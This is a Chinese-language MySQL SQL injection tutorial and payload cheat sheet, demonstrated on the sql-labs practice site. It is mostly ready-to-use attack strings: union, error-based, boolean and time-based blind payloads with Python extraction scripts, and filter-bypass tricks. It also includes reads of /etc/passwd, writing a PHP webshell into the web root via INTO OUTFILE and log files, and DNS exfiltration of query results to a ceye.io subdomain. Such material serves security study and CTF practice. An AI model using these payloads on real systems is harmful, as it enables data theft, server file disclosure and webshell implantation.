SQL注入(以Mysql为例)
大致分为有回显和无回显两类进行梳理,重心会放在盲注这一块,正则匹配等一些技巧都放在盲注部分。
使用sql-labs进行演示,在challenges数据库中在添加一个flag数据库表,并修改sql-labs源码使其回显执行的sql语句,方便演示。

判断是否存在SQL注入
本质都是看页面是否出现异常
- 加单引号’、双引号”、单括号)、双括号))或者进行组合看看是否报错(字符型)。
- 服务器不返回报错信息时,加 and 1=1 、 and 1=2 看页面是否有变化(数字型),字符型的话还得先闭合sql语句(使用# | --+ |'单引号等闭合)。
- 如果没有回显信息的话,加上sleep()、benchmark() 等能产生时间延迟的函数,根据服务器响应时间进行判断。
有回显:
union注入:
最基础的注入类型,sql语句大致为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
获得当前表的列数:
?id=111' order by 4--+
?id=111' union select 1,2,3
报错就是超过列数了,几个字段通常对应页面上有几个回显位。


这时已经可以使用mysql函数获取一些基本信息了,如版本号以便后面注入。
- version() /@@version:数据库的版本
- database() :当前使用的数据库
- @@basedir : 数据库的安装目录
- @@datadir : 数据库文件的存放目录
- user() : 数据库的用户
- current_user() : 当前用户名
- system_user() : 系统用户名
- session_user() :连接到数据库的用户名

获取数据库:
接下来的操作都得依赖 information_schema.tables ,这里存储了数据库的结构:数据库名、表名、列名(字段名)等。
union select 1,group_concat(schema_name),3 from information_schema.schemata

获取表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'

获取列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='flag'

获取字段值:
union select 1,group_concat(flag),3 from challenges.flag

报错注入:
页面上没有显示位,但是能输出 sql语句执行错误信息。比如存在 mysql_error()。
通过函数之间的产生的异常,使得查询的一部分(payload)以错误回显的形式显示出来。
floor报错注入
and (select * from (select count(*) from information_schema.tables group by concat((user()),floor(rand(0)*2)))a)
user()处为你想查询的内容,如查询所有的数据库名:
and (select * from (select count(*) from information_schema.tables group by concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)))a)
ExtractValue报错注入
and extractvalue(1, payload)
UpdateXml报错注入
and updatexml(1,payload,1)
ExtractValue、UpdateXml对输出字符数会有限制,需要配合字符串截取方法。
无回显:
无回显的话需要找到判断值(如and 1=1 | and 1=2)的不同回显或者反应。
- 回显内容、长度不同
- 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
- 看HTTP状态码,比如结果为真(登录成功)则3xx重定向,为假则返回200
- 服务器响应时间
然后还需要三点:
-
判断表达式的真假(or and ^等逻辑运算符) -
字符串截取(substr()、left()、REGEXP) -
判断字符串是否相等(= > LIKE REGEXP等比较运算符) MySQL运算符|菜鸟教程
下面对判断表达式的真假、字符串截取和判断分别进行梳理。
布尔盲注:
判断表达式的真假
通常可用and、or、&、|| 这些,如:
1' and 1=2 1' || 1=1
异或注入
但在过滤了and、or 之后^异或符号就派上用处了,也就是xor注入,其基本原理:
0^1^0
0^0^0
1^0^1
结果均由中间位置值决定,那么把中间的位置换成payload就行了


在注释符号被过滤时也可以使用

字符串截取
substr()
从字符串 s 的 n 位置截取长度为 len 的子字符串
SUBSTR(str,pos,len)
mid()
从字符串 s 的 n 位置截取长度为 len 的子字符串
MID(str,pos) | MID(str,pos,len) | MID(str FROM pos) | MID(str FROM pos FOR len)
其实上面得substr函数也可以这样操作,mid()和substr()都是substring()的同义词。

right() | left()
从字符串 s 的右/左边开始返回n 个字符
right | left(s,n)

right() | left()不能像substr和mid一样精准截取某一位进行比较,但可以配合ascii / ord函数一起使用(left还要加上reverse()),这两个函数会返回字符串 s 的第一个字符的 ASCII 码。通过修改返回字符数就能进行按位比较了。

lpad | rpad
在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len
lpad | rpad(s1,len,s2)
用法和right | left差不多

insert()
字符串 s2 替换 s1 的 pos 位置开始长度为 len 的字符串
insert(s1pos,len,s2)

insert的按位比较可以使用left那种方法,也可以对insert进行嵌套
select ascii(reverse(insert('abcde',4,999999,'')));

SELECT insert((insert('abcde',1,截取的位数,'')),2,9999999,'');

trim()
表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr
TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)
如果要移除的字符是开头字符串则移除,若不是则返回原字符串

也就是说除了首字符串以外,其他字符进行截取返回值都是一样的,那就可以用来判断首字符串了。
也就是说对两个字符i和i+1的trim截取结果进行比对,若不一样即结果为0,说明两个字符串中间有一个是正确结果。接下来对比i+1和i+2即可,若一样即结果为1,说明i+1和i+2都不是正确结果,第一位是i。

当我们判断出第一位是'a' 后,只要继续这样判断第二位,然后第三位第四位…以此类推: 

regexp | rlike
截取+比较的结合体
binary 目标字符串 regexp| rlike 正则

使用binary是因为regexp | rlike匹配是大小写不敏感的,需要加上binary 关键字(binary 不是regexp 的搭档,使用位置是字符串的前面用于描述类型,MySQL中binary 是一种字符串类型)


判断字符串是否相等
RLIKE / REGEXP
异或
= < >
LIKE
模糊匹配,可替代等号。

BETWEEN
expr BETWEEN 下界 AND 上界

IN
判断是否在一个集合中,大小写不敏感,需配合binary关键字
expr1 in (expr1, expr2, expr3)

GREATEST | LEAST
返回列表中的最大/小值,可代替比较操作符
GREATEST | LEAST(expr1, expr2, expr3, …)

减号或取余
配合and 或者 or使用,只要在结果正确时才为0


order by
通过order的排序功能比较结果,比较的是数据的首字母大小,使用limit限制输出第一个,可代替> <使用
(select 'r' union select user() order by 1 limit 1)='r';
SELECT * from users where username='Dumb' union SELECT 1,2,'e' order BY 3 LIMIT 1;



CASE
CASE s1 WHEN s2 THEN exp1 ELSE exp2 END;

脚本模板
import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''
for i in range(1,60):
for j in string:
payload = f" and 1=(ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}')--+"
r = requests.get(url+payload)
if 'You are in' in r.text:
res = chr(j)+res
print(res)
时间盲注:
与布尔盲注大致相同,最大的区别是直接返回0 1已经无法得知结果了,需要构造条件表达式利用相关函数进行延时反馈。
条件表达式
CASE
CASE WHEN (condition) THEN exp1 ELSE exp2 END;
if
if((condition), exp1, exp2);

延时函数
sleep()
benchmark()
测试某些特定操作的执行速度,若执行次数足够大就可以产生延迟
benchmark(执行次数,特定操作)

笛卡尔积延迟
union select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c where (1=2)
select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c;

正则
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
脚本模板
import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''
for i in range(1,60):
for j in string:
payload = f" and if((ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}'),sleep(3),0)--+"
try:
requests.get(url+payload, timeout=2)
except:
res = chr(j)+res
print(res)
break
报错盲注:
还有一种情况就是没有开具体的报错信息回显,但页面会告诉你是否出错了。
直接套用时间盲注用的条件表达式(if、case)即可,将延时函数换成会引起报错的函数。
报错函数
exp()
exp(999*(condition));
exp(709+(condition));

pow
pow(999*(1=1),999)
cot
cot(condition)
Bypass
空格
selectascii(substr('abcde',1,1))>97;
select 'test',(select user() from admin limit 0,1)
select`id`from`student`;
空白字符(url当中使用):%09,%0a,%0b,%0c,%0d,%20,%a0;

select关键字
table student => select * from student;
handler
handler users open as test;
handler test read FIRST;
handler test read next;

show
show tables;
show columns from users;

单引号
参数逃逸:
-
宽字节 数据库的gbk编码与PHP的UTF-8,和addslashes的影响下产生的单引号逃逸 %df%27 => %df%5c%27 => 運’ (%5c为反斜杠转义符) -
转义一个原SQL语句的单引号产生逃逸,反正只要有单引号不配对就行 select * from users where username = '\' and password = 'and 1=1
字符串:
-
双引号 -
char函数  -
conv函数进制转换 lower(conv(10,10,36))
lower(conv(11,10,36))
-
使用16进制 select unhex(hex(6e6+382179));

逗号
offset:
limit 9 offset 4 => limt 9,4
join语句代替:
select * from users union select * from (select 1)a join (select 2)b JOIN (SELECT 3)c;
select * from users union SELECT 1,2,3;

数字/字母
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

https://wooyun.js.org/drops/MySQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7.html
无列名注入(可盲注)
select arnold FROM (select 1,'arnold',3 union select * from users)any;
select b FROM (select 1,2 AS b,3 union select * from users)any;
SELECT `2` FROM (select 1,2,3 union select * from users)any;
先用union构造表的别名,然后再套个select去查询这列的值



或者比较两个子查询的结果进行盲注,通过大小于号,可以逐字符检索出数据
select (SELECT 2,'de','admin')>(select * from users limit 1);



join using()注列名(需有错误回显)
通过对想要查询列名的表与其自身建立内连接产生列名冗余错误,通过错误回显得到表名。
使用 USING 表达式声明内连接(INNER JOIN )条件来避免重复报错,得到后续列名.
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)ANY) ANY;
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id))c;
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id,username))c;



无information_schema
information_schema就是个信息数据库,思路是找个能代替他的库。
InnoDB:
mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)
sys.schemma;
基础数据来自于performance_chema和information_schema(version >= 5.7)
sys.x$schema_flattened_keys



sys.schema_table_statistics



sys.x$ps_schema_table_statistics_io(这个是表名最多最全的)

sys.schema_auto_increment_columns(监控表自增id)

sys.schema_table_statistics_with_buffer

这里只列举了一些,更详细的可以看https://xz.aliyun.com/t/7169#toc-53
获得表名之后配合无列名注入,或者join using报错得到列名就行。
正则过滤关键字

无order by判断字段数
where id = '1' group by 3;
where username = 'Dumb' limit 1,1 into @,@,@;


其他类型的注入:
二次注入
常见于用户名处,数据存入的时候经过过滤转义,但登录时,或取出来在网页上展示的时候没有做防护。
order by注入
以sql-labs Less-50为例

可以利用order by后的一些参数进行注入,依据排列结果作为反馈
RAND(LEFT(database(),1)>'r')
RAND(LEFT(database(),1)>'s')


rand(1=1)
IF(1=1,name,price)
(CASE WHEN (1=1) THEN name ELSE price END)
(select 1 regexp if(1=1,1,0x00))
updatexml(1,if(1=1,1,user()),1)
extractvalue(1,if(1=1,1,user()))
IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))
堆叠注入
union select不可用时,若在支持多语句执行的情况下,可利用 ;分号 执行其他恶意语句。
为了解决堆叠注入后执行的语句结果无法返回给网页的问题,可使用rename 、alter关键字修改表名、字段名,使得目标表和列顶替原来的,那就能被原定的查询语句查到了。
rename table `words` to `word`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
PDO模拟预处理
https://xz.aliyun.com/t/3950#toc-4
文件读写
secure-file-priv 无值或目录名可被利用(mysql >= 5.5.53,secure-file-priv 的值默认为NULL )- 绝对目录可知
- 对文件/目录有读/写权限
查看是否有权限
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
无回显的话可尝试配合 and 1=1等永真条件,根据页面回显判断是否成功
读文件
- LOAD_FILE的默认目录@@datadir
- 文件必须是当前用户可读
- 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
读取服务端文件
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt');
select load_file('/etc/hosts');
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
读取客户端文件
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

通过LOAD DATA LOCAL 命令,服务端可以要求客户端读取有可读权限的任何文件,且服务端可以在任何查询语句后回复文件传输请求

正常读文件的处理逻辑:
客户端:把/etc/passwd的内容存入file表中
服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下
但通常客户端不会主动发出这个文件内容写入请求,多为正常的增删改查,而恶意服务端则是利用可以用文件传输请求来回复任何语句这一点,直接用文件传输请求回复查询等sql操作。
客户端:查询file表的test1字段内容
恶意服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下
rogue_mysql_server的读文件功能就是这个原理
更多拓展攻击方式参考:CSS-T | Mysql Client 任意文件读取攻击链拓展
写文件
- INTO OUTFILE不会覆盖文件
- INTO OUTFILE必须是查询语句的最后一句
- 路径名是不能编码的,必须使用单引号 创建数据库导出一句话后门,secure_file_priv 需要开启
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
into outfile 'G:/2.txt' fields terminated by '<? phpinfo(); ?>';
outfile :
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile :
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠(可用于写入二进制文件)
3、 不会在末尾追加换行
http://www.teagle.top/index.php/archives/157/
写入mysql日志
show variables like '%general%';
set global general_log = on;
set global general_log_file = 'C:/2.txt';
select '<?php phpinfo();?>';
set global general_log_file = 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\xxx.log';
set global general_log = off;
http://sh1yan.top/2018/05/26/mysql-writ-shell/
DNSlog外带数据
利用unc路径配合load_file()函数可以用来发送dns解析请求,把查询结果放在多级域名中解析,然后能够在dns 服务器的解析日志中获取查询结果。
- windows下可用,linux默认不可用
- 有文件读取权限及
secure-file-priv 无值 - 需要在域名中添加随机字符串,以绕过dns缓存机制发送多次请求
- unc路径最大长度为128,可以通过使用substr、mid等字符串截取函数,每次传输特定位数的数据。
- unc路径中不能含有空格等特殊字符,可对结果进行hex编码
- dnslog平台:http://ceye.io/,http://www.dnslog.cn
select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
**UNC路径:**
? 上面CONCAT()函数的四个反斜杠去掉两个转义用的,实际是两 个反斜杠。刚好对应Windows当中共享文件使用的网络地址格 式开头\\sss.xxx\test\,也就是UNC路径。再访问时会先进行 DNS查询
Mysql约束攻击
在SQL中执行字符串处理(如比对的时候)时,字符串末尾的空格符将会被删除

mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断(需关闭严格模式, STRICT_TRANS_TABLES),利用这一点可用绕过数据插入前的已存在比对
admin 1的超长字符串用户,在插入数据库前先查询是否已经有存在的用户时不等于admin,但在存入数据库后变成admin ,再在登录查询时就等于admin了

以此顶替admin用户登录

参考:
https://www.gem-love.com/2022/01/26/%E4%B8%80%E6%96%87%E6%90%9E%E5%AE%9AMySQL%E7%9B%B2%E6%B3%A8/
https://www.smi1e.top/2018/06/19/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
https://xz.aliyun.com/t/7169
https://nosec.org/home/detail/3830.html
https://www.jianshu.com/p/f2611257a292
https://www.anquanke.com/post/id/193512
|